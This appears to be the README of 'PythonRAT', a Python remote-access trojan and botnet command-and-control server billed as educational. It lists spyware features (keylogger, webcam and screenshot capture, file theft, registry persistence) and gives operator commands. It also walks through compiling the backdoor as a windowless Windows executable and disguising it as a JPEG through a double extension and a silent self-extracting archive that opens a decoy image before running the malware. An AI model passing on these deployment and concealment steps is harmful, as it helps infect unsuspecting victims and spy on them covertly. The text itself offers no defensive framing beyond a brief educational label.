PythonRAT

PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3.

PythonRAT was developed for educational purposes and continues to be developed as such!

Features

• Integrated keylogger written as a class

  • Can be started and stopped remotely
  • With options to dump or overwrite the log file

• Check privilege level (Administrator/User)

• Spawn other programs

• Download files from target

• Download files from specified URL

• Upload files to target

• C2 allows control of multiple target sessions

• Issue a sendall command to every active session

• Persistence by creating a registry entry (Windows)

• Conceals infection by writing files in AppData (Windows)

• Screenshot of the target's screen which is sent to server

• Webcam capture

• Remote shutdown of the backdoor (executable is NOT safely removed)

Table of Contents

• Usage Manuals
  • C2 Manual
  • Session Manual
• Dependencies
• Wine and Pyinstaller (Win version) Installation on Linux
  • Environment Setup
  • Installing Dependencies
• Backdoor Compilation and Obfuscation for Windows
  • Compile to Executable using Pyinstaller Linux
  • Compile to Executable using Pyinstaller (Win) under Wine
  • Obfuscation using SFX Archive (Theory)
  • Creating SFX Archive
  • Creating SFX Archive - Visual
  • Task Manager
• Preview Images
  • Target Connection to C2 Server
  • Interacting with Session
  • Test Commands on Target
  • Session Options
  • Backgrounding and Killing Session

Usage Manuals

C2 Manual

targets                 --> Prints Active Sessions
session *session num*   --> Will Connect To Session (background to return)
clear                   --> Clear Terminal Screen
exit                    --> Quit ALL Active Sessions and Closes C2 Server!!
kill *session num*      --> Issue 'quit' To Specified Target Session
sendall *command*       --> Sends The *command* To ALL Active Sessions (sendall notepad)

Session Manual

quit                                --> Quit Session With The Target
clear                               --> Clear The Screen
background / bg                     --> Send Session With Target To Background
cd *Directory name*                 --> Changes Directory On Target System
upload *file name*                  --> Upload File To The Target Machine From Working Dir 
download *file name*                --> Download File From Target Machine
get *url*                           --> Download File From Specified URL to Target ./
keylog_start                        --> Start The Keylogger
keylog_dump                         --> Print Keystrokes That The Target From taskmanager.txt
keylog_stop                         --> Stop And Self Destruct Keylogger File
screenshot                          --> Takes screenshot and sends to server ./images/screenshots/
webcam                              --> Takes image with webcam and sends to ./images/webcam/
start *programName*                 --> Spawn Program Using backdoor e.g. 'start notepad'
remove_backdoor                     --> Removes backdoor from target!!!

===Windows Only===
persistence *RegName* *filename*    --> Create Persistence In Registry
                                        copies backdoor to ~/AppData/Roaming/filename
                                        example: persistence Backdoor windows32.exe
check                               --> Check If Has Administrator Privileges

Dependencies

The C2 server has no external dependencies as of v0.9.2-alpha.

The backdoor relies on the following as of v0.10.1-alpha:

pip install mss \
            pynput \
            requests

• MSS is required for the screenshot() function.
• Pynput is required for the Keylogger class.
• Requests is required for the download_url() function.

The below mentioned steps are for compiling the backdoor for deployment. For those wishing to test the C2 server and backdoor interaction see issue 1.

Wine and Pyinstaller (Win version) Installation on Linux

Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/

Environment Setup

┌──(root💀kali)-[~/]

└─#

sudo su
dpkg --add-architecture i386
apt update
apt install wine32 
wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi
sudo wine msiexec -i ~/python-2.7.14.msi #x86 arch

Installing Dependencies

┌──(root💀kali)-[~]

└─#

cd /root/.wine/drive_c/Python27
wine python.exe -m pip install  pyinstaller \
                                requests \ 
                                mss \
			    pynput

Backdoor Compilation and Obfuscation for Windows

Compile to Executable using Pyinstaller Linux

$ pyinstaller --onefile --noconsole backdoor.py

or,

Compile to Executable using Pyinstaller (Win) under Wine

┌──(root💀kali)-[~]

└─#

wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole ~/backdoor.py

alternatively if an icon has already been created,

wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --icon ~/malware_128x128.ico ~/backdoor.py

This will produce ./dist/backdoor.exe

Obfuscation using SFX Archive (Theory)

The executable backdoor.exe will be made to look like an image (jpg) file. By default, Windows does not show file extensions (e.g. backdoor.exe will show in Windows Explorer as backdoor). Hence, we will create an SFX archive name wallpaper.jpg.exe which Windows Explorer will show as wallpaper.jpg.

This will involve having an image which we will also create an icon version of .ico to assign the SFX archive. Making the executable appear to be an image.

Of course, this same method could be applied to audio, document or video file using an appropriate icon.

NOTE: SFX Archive

SFX archive is not the only method of obfuscating the executable. We can when compiling using Pyinstaller add the argument --add-data "/root/wallpaper.jpg;." with --icon ~/wallpaper.ico.

┌──(root💀kali)-[~]

└─#

wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --add-data "/root/wallpaper.jpg;." --icon ~/malware_128x128.ico ~/backdoor.py
mv ./dist/_backdoor.exe_ ./dist/_wallpaper.jpg.exe_

Creating SFX Archive

WinRAR > Add To Archive (image.jpg and backdoor.exe)

Rename archive to: image.jpg.exe

-Add to SFX Archive (Y) and Advanced>

**Setup>Run after extraction**

	California-HD-Background.jpg
	backdoor.exe

**Modes**
	Unpack to temporary folder
	Silent mode
		Hide all

**Update**
	Update mode>
		Extract and update files
	Overwrite mode>
		Overwrite all files
		
**Text and icon**
	Load SFX icon from the file (image ICO)

Creating SFX Archive - Visual

https://user-images.githubusercontent.com/10171446/153578069-851d3896-67d0-465b-ad92-267ad21504ee.mp4

This will produce an SFX archive which looks like an image

While inspecting the file will reveal it is an executable the file extension .exe is concealed. Furthermore, if viewed from the Desktop the file cannot be differentiated from a 'real' image.

Once opened the SFX archive will open the image file inside the archive and the malware will execute after.

Due to --noconsole argument in Pyinstaller, no window will be rendered.

Task Manager

The backdoor.exe process can be seen in Task Manager and ended there if necessary.

Preview Images

Target Connection to C2 Server

Interacting with Session

Test Commands on Target

Session Options

Backgrounding and Killing Session